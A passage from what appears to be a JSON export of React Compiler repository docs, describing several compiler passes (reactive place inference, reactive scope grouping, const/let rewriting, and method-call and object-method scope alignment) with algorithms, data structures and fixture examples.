createdFrom: Map<Identifier, number>;   // CreateFrom edges (source -> index)\n  captures: Map<Identifier, number>;       // Capture edges (source -> index)\n  aliases: Map<Identifier, number>;        // Alias/Assign edges (source -> index)\n  maybeAliases: Map<Identifier, number>;   // MaybeAlias edges (source -> index)\n  edges: Array<{index, node, kind}>;       // Forward edges to other nodes\n  transitive: {kind: MutationKind; loc} | null;  // Transitive mutation info\n  local: {kind: MutationKind; loc} | null;       // Local mutation info\n  lastMutated: number;                     // Index of last mutation affecting this node\n  mutationReason: MutationReason | null;   // Reason for mutation\n  value: {kind: 'Object'} | {kind: 'Phi'} | {kind: 'Function'; function: HIRFunction};\n  render: Place | null;                    // Render context if used in JSX\n};\n```\n\n### `MutationKind`\nEnum describing mutation certainty:\n```typescript\nenum MutationKind {\n  None = 0,\n  Conditional = 1,  // May mutate (e.g., via MaybeAlias or MutateConditionally)\n  Definite = 2,     // Definitely mutates\n}\n```\n\n## Edge Cases\n\n### Phi Nodes\n- Phi nodes are created as special `{kind: 'Phi'}` nodes\n- Phi operands from predecessor blocks are processed with pending edges until the predecessor is visited\n- When traversing \"forwards\" through edges and encountering a phi, backward traversal is stopped (prevents mutation from one phi input affecting other inputs)\n\n### Transitive vs Local Mutations\n- Local mutations (`Mutate`) only affect alias/assign edges backward\n- Transitive mutations (`MutateTransitive`) also affect capture edges backward\n- Both affect all forward edges\n\n### MaybeAlias\n- Mutations through MaybeAlias edges are downgraded to `Conditional`\n- This prevents false positive errors when we cannot be certain about aliasing\n\n### Function Values\n- Functions are tracked specially as `{kind: 'Function'}` nodes\n- When a function is mutated (transitively), errors from the function body are propagated\n- This handles cases where mutating a captured value in a function affects render safety\n\n### Render Effect Propagation\n- Render effects traverse backward through alias/capture/createFrom edges\n- Functions that have not been mutated are skipped during render traversal (except for JSX-returning functions)\n- Ref types (`isUseRefType`) stop render traversal\n\n## TODOs\n1. Assign effects should have an invariant that the node is not initialized yet. Currently `InferFunctionExpressionAliasingEffectSignatures` infers Assign effects that should be Alias, causing reinitialization.\n\n2. Phi place effects are not properly set today.\n\n3. Phi mutable range start calculation is imprecise - currently just sets it to the instruction before the block rather than computing the exact start.\n\n## Example\n\nConsider the following code:\n```javascript\nfunction foo() {\n  let a = {};   // Create a (instruction 1)\n  let b = {};   // Create b (instruction 3)\n  a = b;        // Assign a <- b (instruction 8)\n  mutate(a, b); // MutateTransitiveConditionally a, b (instruction 16)\n  return a;\n}\n```\n\nThe pass builds a graph:\n1. Creates node for `{}` at instruction 1 (initially assigned to `a`)\n2. Creates node for `{}` at instruction 3 (initially assigned to `b`)\n3. At instruction 8, creates alias edge: `b -> a` with index 8\n4. At instruction 16, mutations are queued for `a` and `b`\n\nWhen processing the mutation of `a` at instruction 16:\n- Extends `a`'s mutableRange.end to 17\n- Traverses backward through alias edge to `b`, extends `b`'s mutableRange.end to 17\n- Since `a = b`, both objects must be considered mutable until instruction 17\n\nThe output shows identifiers with range annotations like `$25[3:17]` meaning:\n- `$25` is the identifier\n- `3` is the instruction where it was created\n- `17` is the instruction after which it is no longer mutated\n\nFor aliased values, the ranges are unified - all values that could be affected by a mutation have their ranges extended to include that mutation point.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/10-inferReactivePlaces.md",
    "content": "# inferReactivePlaces\n\n## File\n`src/Inference/InferReactivePlaces.ts`\n\n## Purpose\nDetermines which `Place`s (identifiers and temporaries) in the HIR are **reactive** - meaning they may *semantically* change over the course of the component or hook's lifetime. This information is critical for memoization: reactive places form the dependencies that, when changed, should invalidate cached values.\n\nA place is reactive if it derives from any source of reactivity:\n1. **Props** - Component parameters may change between renders\n2. **Hooks** - Hooks can access state or context which can change\n3. **`use` operator** - Can access context which may change\n4. **Mutation with reactive operands** - Values mutated in instructions that have reactive operands become reactive themselves\n5. **Conditional assignment based on reactive control flow** - Values assigned in branches controlled by reactive conditions become reactive\n\n## Input Invariants\n- HIR is in SSA form with phi nodes at join points\n- `inferMutationAliasingEffects` and `inferMutationAliasingRanges` have run, establishing:\n  - Effect annotations on operands (Effect.Capture, Effect.Store, Effect.Mutate, etc.)\n  - Mutable ranges on identifiers\n  - Aliasing relationships captured by `findDisjointMutableValues`\n- All operands have known effects (asserts on `Effect.Unknown`)\n\n## Output Guarantees\n- Every reactive Place has `place.reactive = true`\n- Reactivity is transitively complete (derived from reactive → reactive)\n- All identifiers in a mutable alias group share reactivity\n- Reactivity is propagated to operands used within nested function expressions\n\n## Algorithm\nThe algorithm uses **fixpoint iteration** to propagate reactivity forward through the control-flow graph:\n\n### Initialization\n1. Create a `ReactivityMap` backed by disjoint sets of mutably-aliased identifiers\n2. Mark all function parameters as reactive (props are reactive by definition)\n3. Create a `ControlDominators` helper to identify blocks controlled by reactive conditions\n\n### Fixpoint Loop\nIterate until no changes occur:\n\nFor each block:\n1. **Phi Nodes**: Mark phi nodes reactive if:\n   - Any operand is reactive, OR\n   - Any predecessor block is controlled by a reactive condition (control-flow dependency)\n\n2. **Instructions**: For each instruction:\n   - Track stable identifier sources (for hooks like `useRef`, `useState` dispatch)\n   - Check if any operand is reactive\n   - Hook calls and `use` operator are sources of reactivity\n   - If instruction has reactive input:\n     - Mark lvalues reactive (unless they are known-stable like `setState` functions)\n   - If instruction has reactive input OR is in reactive-controlled block:\n     - Mark mutable operands (Capture, Store, Mutate effects) as reactive\n\n3. **Terminals**: Check terminal operands for reactivity\n\n### Post-processing\nPropagate reactivity to inner functions (nested `FunctionExpression` and `ObjectMethod`).\n\n## Key Data Structures\n\n### ReactivityMap\n```typescript\nclass ReactivityMap {\n  hasChanges: boolean = false;           // Tracks if fixpoint changed\n  reactive: Set<IdentifierId> = new Set(); // Set of reactive identifiers\n  aliasedIdentifiers: DisjointSet<Identifier>; // Mutable alias groups\n}\n```\n- Uses disjoint sets so that when one identifier in an alias group becomes reactive, they all are effectively reactive\n- `isReactive(place)` checks and marks `place.reactive = true` as a side effect\n- `snapshot()` resets change tracking and returns whether changes occurred\n\n### StableSidemap\n```typescript\nclass StableSidemap {\n  map: Map<IdentifierId, {isStable: boolean}> = new Map();\n}\n```\nTracks sources of stability (e.g., `useState()[1]` dispatch function). Forward data-flow analysis that:\n- Records hook calls that return stable types\n- Propagates stability through PropertyLoad and Destructure from stable containers\n- Propagates through LoadLocal and StoreLocal\n\n### ControlDominators\nUses post-dominator frontier analysis to determine which blocks are controlled by reactive branch conditions.\n\n## Edge Cases\n\n### Backward Reactivity Propagation via Mutable Aliasing\n```javascript\nconst x = [];\nconst z = [x];\nx.push(props.input);\nreturn <div>{z}</div>;\n```\nHere `z` aliases `x` which is later mutated with reactive data. The disjoint set ensures `z` becomes reactive even though the mutation happens after its creation.\n\n### Stable Types Are Not Reactive\n```javascript\nconst [state, setState] = useState();\n// setState is stable - not marked reactive despite coming from reactive hook\n```\nThe `StableSidemap` tracks these and skips marking them reactive.\n\n### Ternary with Stable Values Still Reactive\n```javascript\nprops.cond ? setState1 : setState2\n```\nEven though both branches are stable types, the result depends on reactive control flow, so it cannot be marked non-reactive just based on type.\n\n### Phi Nodes with Reactive Predecessors\nWhen a phi's predecessor block is controlled by a reactive condition, the phi becomes reactive even if its operands are all non-reactive constants.\n\n## TODOs\nNo explicit TODO comments are present in the source file. However, comments note:\n\n- **ComputedLoads not handled for stability**: Only PropertyLoad propagates stability from containers, not ComputedLoad. The comment notes this is safe because stable containers have differently-typed elements, but ComputedLoad handling could be added.\n\n## Example\n\n### Fixture: `reactive-dependency-fixpoint.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  let x = 0;\n  let y = 0;\n  while (x === 0) {\n    x = y;\n    y = props.value;\n  }\n  return [x];\n}\n```\n\n**Before InferReactivePlaces:**\n```\nbb1 (loop):\n  store x$26:TPhi:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi)\n  store y$30:TPhi:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37)\n  ...\nbb3 (block):\n  [12] mutate? $35 = LoadLocal read props$19\n  [13] mutate? $36 = PropertyLoad read $35.value\n  [14] mutate? $38 = StoreLocal Reassign mutate? y$37 = read $36\n```\n\n**After InferReactivePlaces:**\n```\nbb1 (loop):\n  store x$26:TPhi{reactive}:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi{reactive})\n  store y$30:TPhi{reactive}:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37{reactive})\n  [6] mutate? $27:TPhi{reactive} = LoadLocal read x$26:TPhi{reactive}\n  ...\nbb3 (block):\n  [12] mutate? $35{reactive} = LoadLocal read props$19{reactive}\n  [13] mutate? $36{reactive} = PropertyLoad read $35{reactive}.value\n  [14] mutate? $38{reactive} = StoreLocal Reassign mutate? y$37{reactive} = read $36{reactive}\n```\n\n**Key observations:**\n- `props$19` is marked `{reactive}` as a function parameter\n- The reactivity propagates through the loop:\n  - First iteration: `y$37` becomes reactive from `props.value`\n  - Second iteration: `x$32` becomes reactive from `y$30` (which is reactive via the phi from `y$37`)\n  - The phi nodes `x$26` and `y$30` become reactive because their bb3 operands are reactive\n- The fixpoint algorithm handles this backward propagation through the loop correctly\n- The final output `$40` is reactive, so the array `[x]` will be memoized with `x` as a dependency\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/11-inferReactiveScopeVariables.md",
    "content": "# inferReactiveScopeVariables\n\n## File\n`src/ReactiveScopes/InferReactiveScopeVariables.ts`\n\n## Purpose\nThis is the **1st of 4 passes** that determine how to break a React function into discrete reactive scopes (independently memoizable units of code). Its specific responsibilities are:\n\n1. **Identify operands that mutate together** - Variables that are mutated in the same instruction must be placed in the same reactive scope\n2. **Assign a unique ReactiveScope to each group** - Each disjoint set of co-mutating identifiers gets assigned a unique ScopeId\n3. **Compute the mutable range** - The scope's range is computed as the union of all member identifiers' mutable ranges\n\nThe pass does NOT determine which instructions compute each scope, only which variables belong together.\n\n## Input Invariants\n- `InferMutationAliasingEffects` has run - Effects describe mutations, captures, and aliasing\n- `InferMutationAliasingRanges` has run - Each identifier has a valid `mutableRange` property\n- `InferReactivePlaces` has run - Places are marked as reactive or not\n- `RewriteInstructionKindsBasedOnReassignment` has run - Let/Const properly determined\n- All instructions have been numbered with valid `InstructionId` values\n- Phi nodes are properly constructed at block join points\n\n## Output Guarantees\n- Each identifier that is part of a mutable group has its `identifier.scope` property set to a `ReactiveScope` object\n- All identifiers in the same scope share the same `ReactiveScope` reference\n- The scope's `range` is the union (min start, max end) of all member mutable ranges\n- The scope's `range` is validated to be within [1, maxInstruction+1]\n- Identifiers that only have single-instruction lifetimes (read once) may not be assigned to a scope unless they allocate\n\n## Algorithm\n\n### Phase 1: Find Disjoint Mutable Values (`findDisjointMutableValues`)\n\nUses a Union-Find (Disjoint Set) data structure to group identifiers that mutate together:\n\n1. **Handle Phi Nodes**: For each phi in each block:\n   - If the phi's result is mutated after creation (mutableRange.end > first instruction in block), union the phi with all its operands\n   - This ensures values that flow through control flow and are later mutated are grouped together\n\n2. **Handle Instructions**: For each instruction:\n   - Collect mutable operands based on instruction type:\n     - If lvalue has extended mutable range OR instruction may allocate, include lvalue\n     - For StoreLocal/StoreContext: Include lvalue if it has extended mutable range, include value if mutable\n     - For Destructure: Include each pattern operand with extended range, include source if mutable\n     - For MethodCall: Include all mutable operands plus the computed property (to keep method resolution in same scope)\n     - For other instructions: Include all mutable operands\n   - Exclude global variables (mutableRange.start === 0) since they cannot be recreated\n   - Union all collected operands together\n\n### Phase 2: Assign Scopes\n\n1. Iterate over all identifiers in the disjoint set using `forEach(item, groupIdentifier)`\n2. For each unique group, create a new ReactiveScope:\n   - Generate a unique ScopeId from the environment\n   - Initialize range from the first member's mutableRange\n   - Set up empty dependencies, declarations, reassignments sets\n3. For subsequent members of the same group:\n   - Expand the scope's range to encompass the member's mutableRange\n   - Merge source locations\n4. Assign the scope to each identifier: `identifier.scope = scope`\n5. Update each identifier's mutableRange to match the scope's range\n\n**Validation**: After scope assignment, validate that all scopes have valid ranges within [1, maxInstruction+1].\n\n## Key Data Structures\n\n### DisjointSet<Identifier>\nA Union-Find data structure optimized for grouping items into disjoint sets:\n\n```typescript\nclass DisjointSet<T> {\n  #entries: Map<T, T>;  // Maps each item to its parent (root points to self)\n\n  union(items: Array<T>): void;     // Merge items into one set\n  find(item: T): T | null;          // Find the root of item's set (with path compression)\n  forEach(fn: (item, group) => void): void;  // Iterate all items with their group root\n}\n```\n\nPath compression is used during `find()` to flatten the tree structure, improving subsequent lookup performance.\n\n### ReactiveScope\n```typescript\ntype ReactiveScope = {\n  id: ScopeId;\n  range: MutableRange;              // [start, end) instruction range\n  dependencies: Set<ReactiveScopeDependency>;  // Inputs (populated later)\n  declarations: Map<IdentifierId, ReactiveScopeDeclaration>;  // Outputs (populated later)\n  reassignments: Set<Identifier>;   // Reassigned variables (populated later)\n  earlyReturnValue: {...} | null;   // For scopes with early returns\n  merged: Set<ScopeId>;             // IDs of scopes merged into this one\n  loc: SourceLocation;\n};\n```\n\n## Edge Cases\n\n### Global Variables\nExcluded from scopes (mutableRange.start === 0) since they cannot be recreated during memoization.\n\n### Phi Nodes After Mutation\nWhen a phi's result is mutated after the join point, all phi operands must be in the same scope to ensure the mutation can be recomputed correctly.\n\n### MethodCall Property Resolution\nThe computed property load for a method call is explicitly added to the same scope as the call itself.\n\n### Allocating Instructions\nInstructions that allocate (Array, Object, JSX, etc.) add their lvalue to the scope even if the lvalue has a single-instruction range.\n\n### Single-Instruction Ranges\nValues with range `[n, n+1)` (used exactly once) are only included if they allocate, otherwise they're just read.\n\n### enableForest Config\nWhen enabled, phi operands are unconditionally unioned with the phi result (even without mutation after the phi).\n\n## TODOs\n1. `// TODO: improve handling of module-scoped variables and globals` - The current approach excludes globals entirely, but a more nuanced handling could be beneficial.\n\n2. Known issue with aliasing and mutable lifetimes (from header comments):\n```javascript\nlet x = {};\nlet y = [];\nx.y = y; // RHS is not considered mutable here bc not further mutation\nmutate(x); // bc y is aliased here, it should still be considered mutable above\n```\nThis suggests the pass may miss some co-mutation relationships when aliasing is involved.\n\n## Example\n\n### Fixture: `reactive-scope-grouping.js`\n\n**Input:**\n```javascript\nfunction foo() {\n  let x = {};\n  let y = [];\n  let z = {};\n  y.push(z);  // y and z co-mutate (z captured into y)\n  x.y = y;    // x and y co-mutate (y captured into x)\n  return x;\n}\n```\n\n**After InferReactiveScopeVariables:**\n```\n[1] mutate? $19_@0[1:14] = Object { }     // x's initial object, scope @0\n[2] store $21_@0[1:14] = StoreLocal x     // x in scope @0\n[3] mutate? $22_@1[3:11] = Array []       // y's array, scope @1\n[4] store $24_@1[3:11] = StoreLocal y     // y in scope @1\n[5] mutate? $25_@2 = Object { }           // z's object, scope @2\n[10] MethodCall y.push(z)                 // Mutates y, captures z\n[13] PropertyStore x.y = y                // Mutates x, captures y\n```\n\nThe `y.push(z)` joins y and z into scope @1, and `x.y = y` joins x and y into scope @0. Because y is now in @0, and z was captured into y, ultimately x, y, and z all end up in the same scope @0.\n\n**Compiled Output:**\n```javascript\nfunction foo() {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    x = {};\n    const y = [];\n    const z = {};\n    y.push(z);\n    x.y = y;\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n```\n\nAll three objects (x, y, z) are created within the same memoization block because they co-mutate and could potentially alias each other.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/12-rewriteInstructionKindsBasedOnReassignment.md",
    "content": "# rewriteInstructionKindsBasedOnReassignment\n\n## File\n`src/SSA/RewriteInstructionKindsBasedOnReassignment.ts`\n\n## Purpose\nRewrites the `InstructionKind` of variable declaration and assignment instructions to correctly reflect whether variables should be declared as `const` or `let` in the final output. It determines this based on whether a variable is subsequently reassigned after its initial declaration.\n\nThe key insight is that this pass runs **after dead code elimination (DCE)**, so a variable that was originally declared with `let` in the source (because it was reassigned) may be converted to `const` if the reassignment was removed by DCE. However, variables originally declared as `const` cannot become `let`.\n\n## Input Invariants\n- SSA form: Each identifier has a unique `IdentifierId` and `DeclarationId`\n- Dead code elimination has run: Unused assignments have been removed\n- Mutation/aliasing inference complete: Runs after `InferMutationAliasingRanges` and `InferReactivePlaces` in the main pipeline\n- All instruction kinds are initially set (typically `Let` for variables that may be reassigned)\n\n## Output Guarantees\n- **First declaration gets `Const` or `Let`**: The first `StoreLocal` for a named variable is marked as:\n  - `InstructionKind.Const` if the variable is never reassigned after\n  - `InstructionKind.Let` if the variable has subsequent reassignments\n- **Reassignments marked as `Reassign`**: Any subsequent `StoreLocal` to the same `DeclarationId` is marked as `InstructionKind.Reassign`\n- **Destructure consistency**: All places in a destructuring pattern must have consistent kinds (all Const or all Reassign)\n- **Update operations trigger Let**: `PrefixUpdate` and `PostfixUpdate` operations (like `++x` or `x--`) mark the original declaration as `Let`\n\n## Algorithm\n\n1. **Initialize declarations map**: Create a `Map<DeclarationId, LValue | LValuePattern>` to track declared variables.\n\n2. **Seed with parameters and context**: Add all named function parameters and captured context variables to the map with kind `Let` (since they're already \"declared\" outside the function body).\n\n3. **Process blocks in order**: Iterate through all blocks and instructions:\n\n   - **DeclareLocal**: Record the declaration in the map (invariant: must not already exist)\n\n   - **StoreLocal**:\n     - If not in map: This is the first store, add to map with `kind = Const`\n     - If already in map: This is a reassignment. Update original declaration to `Let`, set current instruction to `Reassign`\n\n   - **Destructure**:\n     - For each operand in the pattern, check if it's already declared\n     - All operands must be consistent (all new declarations OR all reassignments)\n     - Set pattern kind to `Const` for new declarations, `Reassign` for existing ones\n\n   - **PrefixUpdate / PostfixUpdate**: Look up the declaration and mark it as `Let` (these always imply reassignment)\n\n## Key Data Structures\n\n```typescript\n// Main tracking structure\nconst declarations = new Map<DeclarationId, LValue | LValuePattern>();\n\n// InstructionKind enum (from HIR.ts)\nenum InstructionKind {\n  Const = 'Const',      // const declaration\n  Let = 'Let',          // let declaration\n  Reassign = 'Reassign', // reassignment to existing binding\n  Catch = 'Catch',      // catch clause binding\n  HoistedLet = 'HoistedLet',     // hoisted let\n  HoistedConst = 'HoistedConst', // hoisted const\n  HoistedFunction = 'HoistedFunction', // hoisted function\n  Function = 'Function', // function declaration\n}\n```\n\n## Edge Cases\n\n### DCE Removes Reassignment\nA `let x = 0; x = 1;` where `x = 1` is unused becomes `const x = 0;` after DCE.\n\n### Destructuring with Mixed Operands\nThe invariant checks ensure all operands in a destructure pattern are either all new declarations or all reassignments. Mixed cases cause a compiler error.\n\n### Value Blocks with DCE\nThere's a TODO for handling reassignment in value blocks where the original declaration was removed by DCE.\n\n### Parameters and Context Variables\nThese are pre-seeded as `Let` in the declarations map since they're conceptually \"declared\" at function entry.\n\n### Update Expressions\n`++x` and `x--` always mark the variable as `Let`, even if used inline.\n\n## TODOs\n```typescript\nCompilerError.invariant(block.kind !== 'value', {\n  reason: `TODO: Handle reassignment in a value block where the original\n           declaration was removed by dead code elimination (DCE)`,\n  ...\n});\n```\n\nThis indicates an edge case where a destructuring reassignment occurs in a value block but the original declaration was eliminated by DCE. This is currently an invariant violation rather than handled gracefully.\n\n## Example\n\n### Fixture: `reassignment.js`\n\n**Input Source:**\n```javascript\nfunction Component(props) {\n  let x = [];\n  x.push(props.p0);\n  let y = x;\n\n  x = [];\n  let _ = <Component x={x} />;\n\n  y.push(props.p1);\n\n  return <Component x={x} y={y} />;\n}\n```\n\n**Before Pass (InferReactivePlaces output):**\n```\n[2] StoreLocal Let x$32 = $31      // x is initially marked Let\n[9] StoreLocal Let y$40 = $39      // y is initially marked Let\n[11] StoreLocal Reassign x$43 = $42  // reassignment already marked\n```\n\n**After Pass:**\n```\n[2] StoreLocal Let x$32 = $31      // x stays Let (has reassignment at line 11)\n[9] StoreLocal Const y$40 = $39    // y becomes Const (never reassigned)\n[11] StoreLocal Reassign x$43 = $42  // stays Reassign\n```\n\n**Final Generated Code:**\n```javascript\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props.p0 || $[1] !== props.p1) {\n    let x = [];              // let because reassigned\n    x.push(props.p0);\n    const y = x;             // const because never reassigned\n    // ... x = t1; (reassignment)\n    y.push(props.p1);\n    t0 = <Component x={x} y={y} />;\n    // ...\n  }\n  return t0;\n}\n```\n\nThe pass correctly identified that `x` needs `let` (since it's reassigned on line 6 of the source) while `y` can use `const` (it's never reassigned after initialization).\n\n## Where This Pass is Called\n\n1. **Main Pipeline** (`src/Entrypoint/Pipeline.ts:322`): Called after `InferReactivePlaces` and before `InferReactiveScopeVariables`.\n\n2. **AnalyseFunctions** (`src/Inference/AnalyseFunctions.ts:58`): Called when lowering inner function expressions as part of the function analysis phase.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/13-alignMethodCallScopes.md",
    "content": "# alignMethodCallScopes\n\n## File\n`src/ReactiveScopes/AlignMethodCallScopes.ts`\n\n## Purpose\nEnsures that `MethodCall` instructions and their associated `PropertyLoad` instructions (which load the method being called) have consistent scope assignments. The pass enforces one of two invariants:\n1. Both the MethodCall lvalue and the property have the **same** reactive scope\n2. **Neither** has a reactive scope\n\nThis alignment is critical because the PropertyLoad and MethodCall are semantically a single operation (`receiver.method(args)`) and must be memoized together as a unit. If they had different scopes, the generated code would incorrectly try to memoize the property load separately from the method call, which could break correctness.\n\n## Input Invariants\n- The function has been converted to HIR form\n- `inferReactiveScopeVariables` has already run, assigning initial reactive scopes to identifiers based on mutation analysis\n- Each instruction's lvalue has an `identifier.scope` that is either a `ReactiveScope` or `null`\n- For `MethodCall` instructions, the `value.property` field contains a `Place` referencing the loaded method\n\n## Output Guarantees\nAfter this pass runs:\n- For every `MethodCall` instruction in the function:\n  - If the lvalue has a scope AND the property has a scope, they point to the **same merged scope**\n  - If only the lvalue has a scope, the property's scope is set to match the lvalue's scope\n  - If only the property has a scope, the property's scope is set to `null` (so neither has a scope)\n- Merged scopes have their `range` extended to cover the union of the original scopes' ranges\n- Nested functions (FunctionExpression, ObjectMethod) are recursively processed\n\n## Algorithm\n\n### Phase 1: Collect Scope Relationships\n```\nFor each instruction in all blocks:\n  If instruction is a MethodCall:\n    lvalueScope = instruction.lvalue.identifier.scope\n    propertyScope = instruction.value.property.identifier.scope\n\n    If both have scopes:\n      Record that these scopes should be merged (using DisjointSet.union)\n    Else if only lvalue has scope:\n      Record that property should be assigned to lvalueScope\n    Else if only property has scope:\n      Record that property should be assigned to null (no scope)\n\n  If instruction is FunctionExpression or ObjectMethod:\n    Recursively process the nested function\n```\n\n### Phase 2: Merge Scopes\n```\nFor each merged scope group:\n  Pick a \"root\" scope\n  Extend root's range to cover all merged scopes:\n    root.range.start = min(all scope start points)\n    root.range.end = max(all scope end points)\n```\n\n### Phase 3: Apply Changes\n```\nFor each instruction:\n  If lvalue was recorded for remapping:\n    Set identifier.scope to the mapped value\n  Else if identifier has a scope that was merged:\n    Set identifier.scope to the merged root scope\n```\n\n## Key Data Structures\n\n1. **`scopeMapping: Map<IdentifierId, ReactiveScope | null>`**\n   - Maps property identifier IDs to their new scope assignment\n   - Value of `null` means the scope should be removed\n\n2. **`mergedScopes: DisjointSet<ReactiveScope>`**\n   - Union-find data structure tracking scopes that need to be merged\n   - Used when both MethodCall and property have different scopes\n\n3. **`ReactiveScope`** (from HIR)\n   - Contains `range: { start: InstructionId, end: InstructionId }`\n   - The range defines which instructions are part of the scope\n\n## Edge Cases\n\n### Both Have the Same Scope Already\nNo action needed (implicit in the logic).\n\n### Nested Functions\nThe pass recursively processes `FunctionExpression` and `ObjectMethod` instructions to handle closures.\n\n### Multiple MethodCalls Sharing Scopes\nThe DisjointSet handles transitive merging - if A merges with B, and B merges with C, all three end up in the same scope.\n\n### Property Without Scope, MethodCall Without Scope\nNo action needed (both already aligned at `null`).\n\n## TODOs\nThere are no explicit TODO comments in the source code.\n\n## Example\n\n### Fixture: `alias-capture-in-method-receiver.js`\n\n**Source code:**\n```javascript\nfunction Component() {\n  let a = someObj();\n  let x = [];\n  x.push(a);\n  return [x, a];\n}\n```\n\n**Before AlignMethodCallScopes:**\n```\n[7] store $24_@1[4:10]:TFunction = PropertyLoad capture $23_@1.push\n[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24_@1(capture $25)\n```\n- PropertyLoad result `$24_@1` has scope `@1`\n- MethodCall result `$26` has no scope (`null`)\n\n**After AlignMethodCallScopes:**\n```\n[7] store $24[4:10]:TFunction = PropertyLoad capture $23_@1.push\n[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24(capture $25)\n```\n- PropertyLoad result `$24` now has **no scope** (the `_@1` suffix removed)\n- MethodCall result `$26` still has no scope\n\n**Why this matters:**\nWithout this alignment, later passes might try to memoize the `.push` property load separately from the actual `push()` call. This would be incorrect because:\n1. Reading a method from an object and calling it are semantically one operation\n2. The property load's value (the bound method) is only valid immediately when called on the same receiver\n3. Separate memoization could lead to stale method references or incorrect this-binding\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/14-alignObjectMethodScopes.md",
    "content": "# alignObjectMethodScopes\n\n## File\n`src/ReactiveScopes/AlignObjectMethodScopes.ts`\n\n## Purpose\nEnsures that object method values and their enclosing object expressions share the same reactive scope. This is critical for code generation because JavaScript requires object method definitions to be inlined within their containing object literals. If the object method and object expression were in different reactive scopes (which map to different memoization blocks), the generated code would be invalid since you cannot reference an object method defined in one block from an object literal in a different block.\n\nFrom the file's documentation:\n> \"To produce a well-formed JS program in Codegen, object methods and object expressions must be in the same ReactiveBlock as object method definitions must be inlined.\"\n\n## Input Invariants\n- Reactive scopes have been inferred: This pass runs after `InferReactiveScopeVariables`\n- ObjectMethod and ObjectExpression have non-null scopes: The pass asserts this with an invariant check\n- Scopes are disjoint across functions: The pass assumes that scopes do not overlap between parent and nested functions\n\n## Output Guarantees\n- ObjectMethod and ObjectExpression share the same scope: Any ObjectMethod used as a property in an ObjectExpression will have its scope merged with the ObjectExpression's scope\n- Merged scope covers both ranges: The resulting merged scope's range is expanded to cover the minimum start and maximum end of all merged scopes\n- All identifiers are repointed: All identifiers whose scopes were merged are updated to point to the canonical root scope\n- Inner functions are also processed: The pass recursively handles nested ObjectMethod and FunctionExpression values\n\n## Algorithm\n\n### Phase 1: Find Scopes to Merge (`findScopesToMerge`)\n1. Iterate through all blocks and instructions in the function\n2. Track all ObjectMethod declarations in a set by their lvalue identifier\n3. When encountering an ObjectExpression, check each operand:\n   - If an operand's identifier was previously recorded as an ObjectMethod declaration\n   - Get the scope of both the ObjectMethod operand and the ObjectExpression lvalue\n   - Assert both scopes are non-null\n   - Union these two scopes together in a DisjointSet data structure\n\n### Phase 2: Merge and Repoint Scopes (`alignObjectMethodScopes`)\n1. Recursively process inner functions first (ObjectMethod and FunctionExpression values)\n2. Canonicalize the DisjointSet to get a mapping from each scope to its root\n3. **Step 1 - Merge ranges**: For each scope that maps to a different root:\n   - Expand the root's range to encompass both the original range and the merged scope's range\n   - `root.range.start = min(scope.range.start, root.range.start)`\n   - `root.range.end = max(scope.range.end, root.range.end)`\n4. **Step 2 - Repoint identifiers**: For each instruction's lvalue:\n   - If the identifier has a scope that was merged\n   - Update the identifier's scope reference to point to the canonical root\n\n## Key Data Structures\n\n1. **DisjointSet<ReactiveScope>** - A union-find data structure that tracks which scopes should be merged together. Uses path compression for efficient `find()` operations.\n\n2. **Set<Identifier>** - Tracks which identifiers are ObjectMethod declarations, used to identify when an ObjectExpression operand is an object method.\n\n3. **ReactiveScope** - Contains:\n   - `id: ScopeId` - Unique identifier\n   - `range: MutableRange` - Start and end instruction IDs\n   - `dependencies` - Inputs to the scope\n   - `declarations` - Values produced by the scope\n\n4. **MutableRange** - Has `start` and `end` InstructionId fields that define the scope's extent.\n\n## Edge Cases\n\n### Nested Object Methods\nWhen an object method itself contains another object with methods, the pass recursively processes inner functions first before handling the outer function's scopes.\n\n### Multiple Object Methods in Same Object\nIf an object has multiple method properties, all their scopes will be merged with the object's scope through the DisjointSet.\n\n### Object Methods in Conditional Expressions\nObject methods inside ternary expressions still need scope alignment to ensure the method and its containing object are in the same reactive block.\n\n### Method Call After Object Creation\nThe pass works in conjunction with `AlignMethodCallScopes` (which runs immediately before) to ensure that method calls on objects with object methods are also properly scoped.\n\n## TODOs\nNone explicitly marked in the source file.\n\n## Example\n\n### Fixture: `object-method-shorthand.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  let obj = {\n    method() {\n      return 1;\n    },\n  };\n  return obj.method();\n}\n```\n\n**Before AlignObjectMethodScopes:**\n```\nInferReactiveScopeVariables:\n  [1] mutate? $12_@0:TObjectMethod = ObjectMethod ...    // scope @0\n  [2] mutate? $14_@1[2:7]:TObject = Object { method: ... } // scope @1 (range 2:7)\n```\nThe ObjectMethod `$12` is in scope `@0` while the ObjectExpression `$14` is in scope `@1` with range `[2:7]`.\n\n**After AlignObjectMethodScopes:**\n```\nAlignObjectMethodScopes:\n  [1] mutate? $12_@0[1:7]:TObjectMethod = ObjectMethod ... // scope @0, range now 1:7\n  [2] mutate? $14_@0[1:7]:TObject = Object { method: ... } // also scope @0, range 1:7\n```\nBoth identifiers are in the same scope `@0`, and the scope's range has been expanded to `[1:7]` to cover both instructions.\n\n**Final Generated Code:**\n```javascript\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const obj = {\n      method() {\n        return 1;\n      },\n    };\n    t0 = obj.method();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n```\n\nThe object literal with its method and the subsequent method call are all inside the same memoization block, producing valid JavaScript where the method definition is inlined within the object literal.\n"
  },
  {
